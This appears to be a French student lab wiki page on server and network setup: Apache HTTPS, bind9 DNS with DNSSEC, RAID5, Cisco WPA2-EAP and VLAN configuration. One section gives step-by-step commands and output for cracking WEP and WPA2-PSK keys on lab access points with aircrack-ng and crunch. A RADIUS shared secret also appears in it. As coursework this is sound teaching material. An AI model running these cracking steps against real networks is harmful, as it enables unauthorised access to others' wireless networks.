       ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
       DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&lt;br /&gt;
       Redirect permanent / https://ima2a5-zerofun.site   //Permet de rediriger vers https://ima2a5-zerofun.site&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
  //-----------------------------------------------------------------------------------------------------------------//&lt;br /&gt;
  &amp;lt;VirtualHost *:443&amp;gt; //port dédié au protocole HTTPS&lt;br /&gt;
        DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot; //permet de récupérer notre page HTML stockée dans /var/www/ima2a5-zerofun&lt;br /&gt;
        ServerName ima2a5-zerofun.site //Définit le nom d'hote que le serveur va utiliser pour s'identifier&lt;br /&gt;
        ServerAlias www.ima2a5-zerofun.site //Permet de dire que ce nom aboutira également à notre site&lt;br /&gt;
        ServerAdmin fabien.cavalier@polytech-lille.net&lt;br /&gt;
                &amp;lt;Directory /var/www/ima2a5-zerofun&amp;gt;&lt;br /&gt;
                        Options -Indexes +FollowSymLinks +MultiViews&lt;br /&gt;
                        AllowOverride none&lt;br /&gt;
                        Require all granted&lt;br /&gt;
                &amp;lt;/Directory&amp;gt;&lt;br /&gt;
        ErrorLog /var/log/apache2/error.ima2a5-zerofun.site-secu.log&lt;br /&gt;
        CustomLog /var/log/apache2/access.ima2a5-zerofun.site-secu.log combined&lt;br /&gt;
         # Activation du SSL&lt;br /&gt;
        SSLEngine On&lt;br /&gt;
        ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
        SSLProtocol All -SSLv3 -SSLv2&lt;br /&gt;
        SSLHonorCipherOrder on&lt;br /&gt;
   SSLCertificateFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.crt&amp;quot;&lt;br /&gt;
   SSLCACertificateFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.pem&amp;quot;&lt;br /&gt;
   SSLCertificateKeyFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.key&amp;quot;&lt;br /&gt;
   &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Une fois notre .conf établi, on doit désactiver la configuration générée par défaut par Apache2 et activer notre configuration : &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2dissite 000-default.conf //Stopper la configuration par défaut&lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2ensite ima2a5-zerofun.site //Lancer notre configuration&lt;br /&gt;
&lt;br /&gt;
On active le protocole SSL via &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2enmode ssl&lt;br /&gt;
Puis on relance le serveur Apache2&lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# service apache2 restart&lt;br /&gt;
 [ ok ] Restarting Apache httpd web server: apache2.&lt;br /&gt;
&lt;br /&gt;
On peut vérifier notre configuration : &lt;br /&gt;
&lt;br /&gt;
 root@ima2a5-zerofun:/etc/bind# apache2ctl -S&lt;br /&gt;
&lt;br /&gt;
 VirtualHost configuration:&lt;br /&gt;
 *:80                   www.ima2a5-zerofun.site (/etc/apache2/sites-enabled/ima2a5-zerofun.site-secu.conf:1)&lt;br /&gt;
 *:443                  www.ima2a5-zerofun.site (/etc/apache2/sites-enabled/ima2a5-zerofun.site-secu.conf:8)&lt;br /&gt;
 ServerRoot: &amp;quot;/etc/apache2&amp;quot;&lt;br /&gt;
 Main DocumentRoot: &amp;quot;/var/www/html&amp;quot;&lt;br /&gt;
 Main ErrorLog: &amp;quot;/var/log/apache2/error.log&amp;quot;&lt;br /&gt;
 Mutex watchdog-callback: using_defaults&lt;br /&gt;
 Mutex ssl-stapling-refresh: using_defaults&lt;br /&gt;
 Mutex ssl-stapling: using_defaults&lt;br /&gt;
 Mutex ssl-cache: using_defaults&lt;br /&gt;
 Mutex default: dir=&amp;quot;/var/run/apache2/&amp;quot; mechanism=default &lt;br /&gt;
 PidFile: &amp;quot;/var/run/apache2/apache2.pid&amp;quot;&lt;br /&gt;
 Define: DUMP_VHOSTS&lt;br /&gt;
 Define: DUMP_RUN_CFG&lt;br /&gt;
 User: name=&amp;quot;www-data&amp;quot; id=33&lt;br /&gt;
 Group: name=&amp;quot;www-data&amp;quot; id=33&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Gestion des certificats====&lt;br /&gt;
&lt;br /&gt;
Gandi nous a fourni la clé intermédiaire (ima2a5-zerofun.pem) , le certificat (ima2a5-zerofun.crt) et on a généré la clé privée (.key) avec openssl &lt;br /&gt;
&lt;br /&gt;
 # openssl req -nodes -newkey rsa:2048 -sha256 -keyout ima2a5-zerofun.key -out ima2a5-zerofun.csr &lt;br /&gt;
&lt;br /&gt;
On places ces fichiers dans /etc/apache2/certificate   pour pouvoir les utiliser dans notre fichier de configuration.&lt;br /&gt;
&lt;br /&gt;
====Aperçu site web ima2a5-zerofun.site====&lt;br /&gt;
&lt;br /&gt;
www.ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
http://ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
https://ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
 [[Fichier:---home-fabien-Images-site web cav hirt.png]]&lt;br /&gt;
&lt;br /&gt;
===Mise en place du serveur DNS avec bind9===&lt;br /&gt;
Le serveur DNS (Domain Name Server) permet d'associer à une adresse IP, un nom de domaine. Ainsi, pour rechercher un serveur, on donnera son nom plutôt que son adresse IP.&lt;br /&gt;
Pour mettre en place ce DNS, on va utiliser le logiciel open source bind9.&lt;br /&gt;
&lt;br /&gt;
====Installation et paramétrage de bind9====&lt;br /&gt;
&lt;br /&gt;
Installer bind9&lt;br /&gt;
 # apt-get install bind9&lt;br /&gt;
&lt;br /&gt;
Il faut paramétrer bind9. &lt;br /&gt;
D'abord le fichier .conf qui permet de définir les zones de résolution de DNS. &lt;br /&gt;
 &lt;br /&gt;
 #nano /etc/bind/named.conf.local&lt;br /&gt;
&lt;br /&gt;
 //Zone de resolution du domaine ima2a5-zerofun.site&lt;br /&gt;
 zone &amp;quot;ima2a5-zerofun.site&amp;quot; {&lt;br /&gt;
 type master;&lt;br /&gt;
 file &amp;quot;/etc/bind/ima2a5-zerofun.site.signed&amp;quot;;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Le second fichier à paramétrer est le .conf.options, il contient l'ensemble des options de configurations du serveur DNS&lt;br /&gt;
&lt;br /&gt;
 root@ima2a5-zerofun:/etc/bind# cat named.conf.options &lt;br /&gt;
 options {&lt;br /&gt;
 directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
 dnssec-validation auto;&lt;br /&gt;
 dnssec-enable yes;&lt;br /&gt;
 dnssec-lookaside auto;&lt;br /&gt;
 auth-nxdomain no;    # conform to RFC1035&lt;br /&gt;
 listen-on-v6 { any; };&lt;br /&gt;
 allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
 };&lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; { &lt;br /&gt;
 217.70.177.40/32;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Enfin, le fichier qui va configurer les zones de résolution&lt;br /&gt;
&lt;br /&gt;
root@ima2a5-zerofun:/etc/bind# cat ima2a5-zerofun.site&lt;br /&gt;
 &lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 $include /etc/bind/ima2a5-zerofun.site.dnssec/ima2a5-zerofun.site-ksk.key&lt;br /&gt;
 $include /etc/bind/ima2a5-zerofun.site.dnssec/ima2a5-zerofun.site-zsk.key&lt;br /&gt;
 @       IN      SOA     dns.ima2a5-zerofun.site. root@ima2a5-zerofun.site. (&lt;br /&gt;
                        26112021        ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      dns.ima2a5-zerofun.site.&lt;br /&gt;
 @       IN      NS      ns-9-b.gandi.net.&lt;br /&gt;
 @	IN	NS	ns6.gandi.net.&lt;br /&gt;
 @	IN	A	193.48.57.161&lt;br /&gt;
 dns     IN      A       193.48.57.161&lt;br /&gt;
 www     IN      A       193.48.57.161   &lt;br /&gt;
 info09  IN      TXT     &amp;quot;Micral&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Notre DNS est maintenant configuré, on relance le service bind9&lt;br /&gt;
 &lt;br /&gt;
 # service bind9 restart&lt;br /&gt;
&lt;br /&gt;
====Gestion des DNS sur gandi.net====&lt;br /&gt;
&lt;br /&gt;
Ajout des DNS sur gandi.net : &lt;br /&gt;
&lt;br /&gt;
On a notre serveur de noms principal : dns.ima2a5-zerofun.site &lt;br /&gt;
&lt;br /&gt;
Ainsi que le serveur de nom secondaire, celui de Gandi : ns6.gandi.net   qui supporte les zones DNSSEC&lt;br /&gt;
&lt;br /&gt;
 [[Fichier:DNSGandi.png]]&lt;br /&gt;
&lt;br /&gt;
Attribution de l'adresse IP de notre DNS principal par le biais d'un Glue record sur le site gandi.net:&lt;br /&gt;
 [[Fichier:GlueRecord.png]]&lt;br /&gt;
&lt;br /&gt;
===Mise en place du DNSSEC===&lt;br /&gt;
&lt;br /&gt;
Génération des clés &lt;br /&gt;
 &lt;br /&gt;
 dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE ima2a5-zerofun.site&lt;br /&gt;
 dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
Signature de la zone&lt;br /&gt;
&lt;br /&gt;
 dnssec-signzone -o ima2a5-zerofun.site -k ima2a5-zerofun.site-ksk ../ima2a5-zerofun.site ima2a5-zerofun.site-zsk&lt;br /&gt;
&lt;br /&gt;
==Attaque Wifi==&lt;br /&gt;
===Description de l'installation===&lt;br /&gt;
&lt;br /&gt;
===Installation de l'utilitaire AirCrack===&lt;br /&gt;
Pour installer l'utilitaire qui va nous permettre de d'attaquer les clés WEP et WPA2-PSK&lt;br /&gt;
 apt-get install aircrack-ng&lt;br /&gt;
===Cassage WEP===&lt;br /&gt;
&lt;br /&gt;
'''Lister les interfaces sans fil disponibles'''&lt;br /&gt;
&lt;br /&gt;
 # airmon-ng &lt;br /&gt;
 &amp;gt;&amp;gt; phy0 wlx40a5ef0f679b rt2800usb Ralink Technology, Corp. RT5370&lt;br /&gt;
&lt;br /&gt;
'''Passage de la carte wifi en mode moniteur'''&lt;br /&gt;
&lt;br /&gt;
On souhaite dédier notre clé wifi au sniffage du réseau sans fil. Pour cela, on la passe en mode &amp;lt;&amp;lt;moniteur&amp;gt;&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
 # airmon-ng start wlx40a5ef0f679b     //wlx40a5ef0f679b est le nom de notre interface sans fil. Souvent le pc la renomme en wlan0mon ou autre standard mais cette fois,il ne l'a pas fait. Je ne sais pas pourquoi, mais ce n'est pas grave. &lt;br /&gt;
&lt;br /&gt;
'''Ecoute des trames Wifi sur le canal 2'''&lt;br /&gt;
&lt;br /&gt;
On peut alors sniffer tout ce qui se passe sur le canal 2&lt;br /&gt;
&lt;br /&gt;
 # airodump-ng --encrypt wep -c 2 wlx40a5ef0f679b &lt;br /&gt;
&lt;br /&gt;
Cela nous permet de récupérer le BSSID de notre cracotte01 &lt;br /&gt;
BSSID : 04:DA:D2:9C:50:50&lt;br /&gt;
&lt;br /&gt;
'''Récupération des datas échangées sur le réseau Wifi'''&lt;br /&gt;
&lt;br /&gt;
Puis on va récupérer toutes les données qui transitent sur ce canal en se concentrant uniquement sur les paquets échangés avec notre cracotte01.  &lt;br /&gt;
&lt;br /&gt;
 # airodump-ng -c -2 --bssid 04:DA:D2:9C:50:50 -w data.txt wlx40a5ef0f679b&lt;br /&gt;
&lt;br /&gt;
'''Décryptage de la clé WEP'''&lt;br /&gt;
&lt;br /&gt;
Enfin, on ouvre un autre terminal dans lequel on lance la commande &lt;br /&gt;
 # aircrack-ng -b 04:DA:D2:9C:50:50 data*.cap &lt;br /&gt;
&lt;br /&gt;
Au bout d'une dizaine de minutes (au moins), on obtient la clé ! &lt;br /&gt;
 [[Fichier:Aircrack.png]]&lt;br /&gt;
&lt;br /&gt;
===Cassage WPA2-PSK===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
D'abord on va lister les interfaces WiFi de notre machine avec la commande &lt;br /&gt;
 airmon-ng &lt;br /&gt;
&lt;br /&gt;
 PHY	Interface	Driver		Chipset&lt;br /&gt;
 phy0	wlx40a5ef0590b2	rt2800usb       Ralink Technology, Corp. RT5370 &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on va lancer le &amp;quot;monitor mode&amp;quot; pour dédier l'interface à Aircrack&lt;br /&gt;
 airmon-ng start wlx40a5ef0590b2 &lt;br /&gt;
&lt;br /&gt;
Le pc va renommer l'interface par un nom standard qu'il réutilisera pour d'autres commandes. &lt;br /&gt;
Si on re-check les interfaces, on a maintenant : &lt;br /&gt;
 PHY	Interface	Driver		Chipset&lt;br /&gt;
 phy0	wlan0mon	rt2800usb       Ralink Technology, Corp. RT5370 &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on récupère l'adresse MAC du point d'accès avec : &lt;br /&gt;
 airodum-ng --encrypt wpa wlan0mon&lt;br /&gt;
&lt;br /&gt;
On prend le BSSID de notre kracotte01    =&amp;gt;   04:DA:D2:9C:50:58 &lt;br /&gt;
&lt;br /&gt;
Puis on récupère le handshake qui correspond au moment où le kracotte veut entreprendre la communication avec le routeur&lt;br /&gt;
 airodump-ng -w -handshake -c 2 --bssid 04:DA:D2:9C:50:58 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Une fois le handshake récupéré, on va créer un dictionnaire contenant les caractères que l'on pense être contenus dans la clé WPA et avec le nombre minimal et maximal de caractères ( 8 et 8, dans notre cas)&lt;br /&gt;
On utilise crunch : &lt;br /&gt;
 crunch 8 8 0123456789 &amp;gt;&amp;gt; Dico_fc.txt&lt;br /&gt;
&lt;br /&gt;
Ensuite on lance la commande qui va comparer le handshake et le dictionnaire :&lt;br /&gt;
 root@zabeth14:/home/pifou/Desktop/craquage WPA# aircrack-ng handshake-02.cap -w Dico_fc.txt&lt;br /&gt;
&lt;br /&gt;
Puis on laisse tourner jusqu'à ce qu'il trouve la clé. (Bonne soirée...)&lt;br /&gt;
 Opening handshake-02.cap&lt;br /&gt;
 Read 242831 packets.&lt;br /&gt;
   #  BSSID              ESSID                     Encryption&lt;br /&gt;
   1  04:DA:D2:9C:50:58  kracotte01                WPA (1 handshake)&lt;br /&gt;
 Choosing first network as target.&lt;br /&gt;
 Opening handshake-02.cap&lt;br /&gt;
 Reading packets, please wait...&lt;br /&gt;
                                 Aircrack-ng 1.2 rc4&lt;br /&gt;
      [00:21:23] 10222228/102795810 keys tested (8175.38 k/s) &lt;br /&gt;
      Time left: 3 hours, 8 minutes, 43 seconds                  9.94%&lt;br /&gt;
                           KEY FOUND! [ 10222222 ]&lt;br /&gt;
      Master Key     : FB F0 0D 55 85 CC 0D A6 9B AA 68 CE 90 3D D2 84 &lt;br /&gt;
                       02 AD A6 12 3D 35 8A 2D 67 58 CF 0A 1B 99 30 B0 &lt;br /&gt;
      Transient Key  : C9 A5 CD E3 86 CC 6E B9 72 FE 47 B6 12 29 75 95 &lt;br /&gt;
                       70 B3 7E 31 05 0F C0 F5 53 92 7C 97 07 81 9D 90 &lt;br /&gt;
                       09 F2 0B 66 4C 6D 58 35 5E CC E2 5A 2A 25 D2 66 &lt;br /&gt;
                       18 36 5D 9D 57 30 A5 72 AA 89 55 1E 27 84 D1 3A &lt;br /&gt;
      EAPOL HMAC     : 2A 02 78 56 B1 DC 14 02 D1 27 54 6E 3D 0C 71 7E&lt;br /&gt;
&lt;br /&gt;
==Stockage Raid5==&lt;br /&gt;
&lt;br /&gt;
On crée les 3 disques de 1Go&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d1 virtual&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d2 virtual&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d3 virtual&lt;br /&gt;
&lt;br /&gt;
 cd /dev/virtual&lt;br /&gt;
&lt;br /&gt;
Faire pointer système de fichiers sur nos 3 disques. &lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d1&lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d2&lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d3&lt;br /&gt;
&lt;br /&gt;
on met a jour le fichier de config de la VM&lt;br /&gt;
&lt;br /&gt;
 root        = '/dev/xvda2 ro'&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/ima2a5-zerofun/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/ima2a5-zerofun/swap.img,xvda1,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-home,xvdb1,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-var,xvdb2,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-d1,xvdb3,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-d2,xvdb4,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-d3,xvdb5,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
On retourne sur la VM et on installe mdadm&lt;br /&gt;
 apt-get install mdadm&lt;br /&gt;
&lt;br /&gt;
 mdadm --create /dev/md0 --level=5  --raid-devices=3 /dev/xvdb3 /dev/xvdb4 /dev/xvdb5&lt;br /&gt;
&lt;br /&gt;
result:&lt;br /&gt;
 mdadm: /dev/xvdb3 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
 mdadm: /dev/xvdb4 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
 mdadm: /dev/xvdb5 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
&lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/md0&lt;br /&gt;
&lt;br /&gt;
 mke2fs 1.43.4 (31-Jan-2017)&lt;br /&gt;
 Creating filesystem with 523776 4k blocks and 131072 inodes&lt;br /&gt;
 Filesystem UUID: 392e14e4-44b5-4782-89ea-75c8483fd41b&lt;br /&gt;
 Superblock backups stored on blocks: &lt;br /&gt;
 32768, 98304, 163840, 229376, 294912&lt;br /&gt;
 Allocating group tables: done                            &lt;br /&gt;
 Writing inode tables: done                            &lt;br /&gt;
 Creating journal (8192 blocks): done&lt;br /&gt;
 Writing superblocks and filesystem accounting information: done &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 mkdir /media/raid&lt;br /&gt;
&lt;br /&gt;
==Cryptage de fichiers==&lt;br /&gt;
On désire crypter des fichiers contenus sur une clé USB, c'est à dire la rendre illisible sauf pour celui qui détient le mot de passe. &lt;br /&gt;
Pour cela, on va brancher notre clé USB au PC. &lt;br /&gt;
On monte ensuite cette clé :&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Sécurisation wifi par WPA2-EAP==&lt;br /&gt;
&lt;br /&gt;
Pour cette partie, nous avons suivi le travail de Jorge, en adaptant pour notre groupe. &lt;br /&gt;
&lt;br /&gt;
Dans le CISCO : &lt;br /&gt;
&lt;br /&gt;
'''Création du serveur radius'''&lt;br /&gt;
&lt;br /&gt;
 radius-server host 193.48.57.161 auth-port 1812 acct-port 1813 key glopglop&lt;br /&gt;
&lt;br /&gt;
'''Définir le groupe de serveur AAA'''&lt;br /&gt;
&lt;br /&gt;
 aaa group server radius radius_ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
'''Association du groupe de serveur et du serveur de la VM'''&lt;br /&gt;
&lt;br /&gt;
 server 193.48.57.161 auth-port 1812 acct-port 1813&lt;br /&gt;
&lt;br /&gt;
'''Définition du login et du groupe de serveur'''&lt;br /&gt;
&lt;br /&gt;
 aaa authentication login eap_ima2a5-zerofun group radius_ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
'''Définition du SSID'''&lt;br /&gt;
&lt;br /&gt;
 dot11 ssid SSID_ima2a5-zerofun                                &lt;br /&gt;
 vlan num_vlan&lt;br /&gt;
 authentication open eap eap_ima2a5-zerofun  &lt;br /&gt;
 authentication network-eap eap_ima2a5-zerofun  &lt;br /&gt;
 authentication key-management wpa&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Configuration du Vlan'''&lt;br /&gt;
&lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
 encryption vlan 2 mode ciphers aes-ccm tkip&lt;br /&gt;
 ssid SSID_ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
'''Création d'une sous interface'''&lt;br /&gt;
 &lt;br /&gt;
interface dot11Radio0.2&lt;br /&gt;
 encapsulation dot1Q 2&lt;br /&gt;
 bridge-group 2&lt;br /&gt;
&lt;br /&gt;
''' '''&lt;br /&gt;
 interface gigabite0.2&lt;br /&gt;
 encapsulation dot1Q 2&lt;br /&gt;
 bridge-group 2&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Ajout SSID dans l'interface Dot11Radio0'''&lt;br /&gt;
&lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
 dot11 ssid SSID_ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
'''Rendre visible le SSID'''&lt;br /&gt;
 &lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
 mbssid&lt;br /&gt;
 dot11 ssid SSID_ima2a5-zerofun&lt;br /&gt;
 mbssid guest-mode &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 exit&lt;br /&gt;
 exit&lt;br /&gt;
 write&lt;br /&gt;
 reload&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Serveur FreeRadius==&lt;br /&gt;
&lt;br /&gt;
== Architecture Réseau ==&lt;br /&gt;
&lt;br /&gt;
Dans cette partie, vous trouverez comment nous avons configuré les routeurs ainsi que les commutateurs qui se trouve dans les salles E304 et E306.&lt;br /&gt;
&lt;br /&gt;
=== Bridge Cordouan ===&lt;br /&gt;
&lt;br /&gt;
Nous avons due modifier le bridge de cordouan afin de relier les 2 ports ethernets ensemble&lt;br /&gt;
&lt;br /&gt;
nano /ect/network/interfaces&lt;br /&gt;
    &lt;br /&gt;
    # Bridge for IMA2a5&lt;br /&gt;
    &lt;br /&gt;
    auto eth1 &lt;br /&gt;
    auto eth4&lt;br /&gt;
    iface eth1 inet manual&lt;br /&gt;
        post-up ifconfig $IFACE up&lt;br /&gt;
        post-down ifconfig $IFACE down&lt;br /&gt;
    iface eth4 inet manual&lt;br /&gt;
        post-up ifconfig $IFACE up&lt;br /&gt;
        post-down ifconfig $IFACE down&lt;br /&gt;
      &lt;br /&gt;
    auto IMA2a5&lt;br /&gt;
    iface IMA2a5 inet manual&lt;br /&gt;
      bridge_ports eth1 eth4&lt;br /&gt;
&lt;br /&gt;
Puis on réveille les ports à l'aide de Ifdown et Ifup&lt;br /&gt;
&lt;br /&gt;
=== Configuration des 2 commutateurs ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au commutateur, nous avons utilisé minicom avec un cable série directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyUSB0''', une vitesse de transfert de '''9600 bauds''' et le '''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Voici quelque commandes de base qui nous ont servi pour la configuration des commutateurs&lt;br /&gt;
&lt;br /&gt;
    enable           // passage en admin pour pouvoir accéder aux données du commutateur&lt;br /&gt;
&lt;br /&gt;
    write            // Sauvegarde de la configuration et l’implanter dans le commutateur&lt;br /&gt;
&lt;br /&gt;
    show interface status OU sh int status  // Montre l'état de toutes les interfaces présentes sur le commutateur ainsi que les données associées&lt;br /&gt;
&lt;br /&gt;
    configuration terminal    // permets d'accéder aux interfaces et ainsi pouvoir les modifier&lt;br /&gt;
&lt;br /&gt;
    exit             // permets de sortir du configurateur actuel (par exemple sortir de l'interface)&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports du commutateur ====&lt;br /&gt;
&lt;br /&gt;
Nous avons 4 connexions qui sont dirigées vers le commutateur de la salle E304 ainsi que celui en E306&lt;br /&gt;
 - Un lien vers le routeur&lt;br /&gt;
 - Un lien vers la borne wifi&lt;br /&gt;
 - Un lien vers Corduan&lt;br /&gt;
 - Un lien vers l'autre commutateur&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot; style=&amp;quot;text-align: center;width: 85%;margin: auto;&amp;quot;&lt;br /&gt;
! Connexion !! E306 !! E304&lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Corduan&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 5/1 &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 1/2 &lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Borne Wifi&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 5/3 &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 2/2 &lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Router&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Ge 5/1(E306) &amp;amp; Ge 1/1(E304) &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Ge 1/1(E306) &amp;amp; Ge 2/2(E304) &lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour la borne wifi =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    //Rendre accessible la modification du port&lt;br /&gt;
    switchport trunk encapsulation dot1q   //Encapsule avec la trame le numéro du Vlan associé, ce qui permettra de d'avoir de quel équipement viens le paquet ainsi la réponse sera dirigé vers le bon port&lt;br /&gt;
    switchport mode trunk   //Configure le port du switch en mode trunk, ce qui permets de ne pas avoir de restriction sur les Vlan, tous les Vlan peuvent passer à travers ce port&lt;br /&gt;
    no shut    //Démarre le port ou de le garder actif&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour Corduan =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal&lt;br /&gt;
    interface XXXX&lt;br /&gt;
    switchport&lt;br /&gt;
    switchport mode access //Rendre modifiable le port&lt;br /&gt;
    switchport access vlan42 //Autoriser le vlan 42 à transister à travers ce port&lt;br /&gt;
    no shutdown&lt;br /&gt;
    exit&lt;br /&gt;
    exit &lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour le router =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour l'autre routeur =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création des Vlan =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 42&lt;br /&gt;
    name Corduan&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 2 à 7&lt;br /&gt;
    name groupe 1 à 6&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 130&lt;br /&gt;
    name interconnexion&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
Pour supprimer un vlan il suffit de faire :&lt;br /&gt;
    no vlan X&lt;br /&gt;
&lt;br /&gt;
=== Configuration du router E304 ===&lt;br /&gt;
&lt;br /&gt;
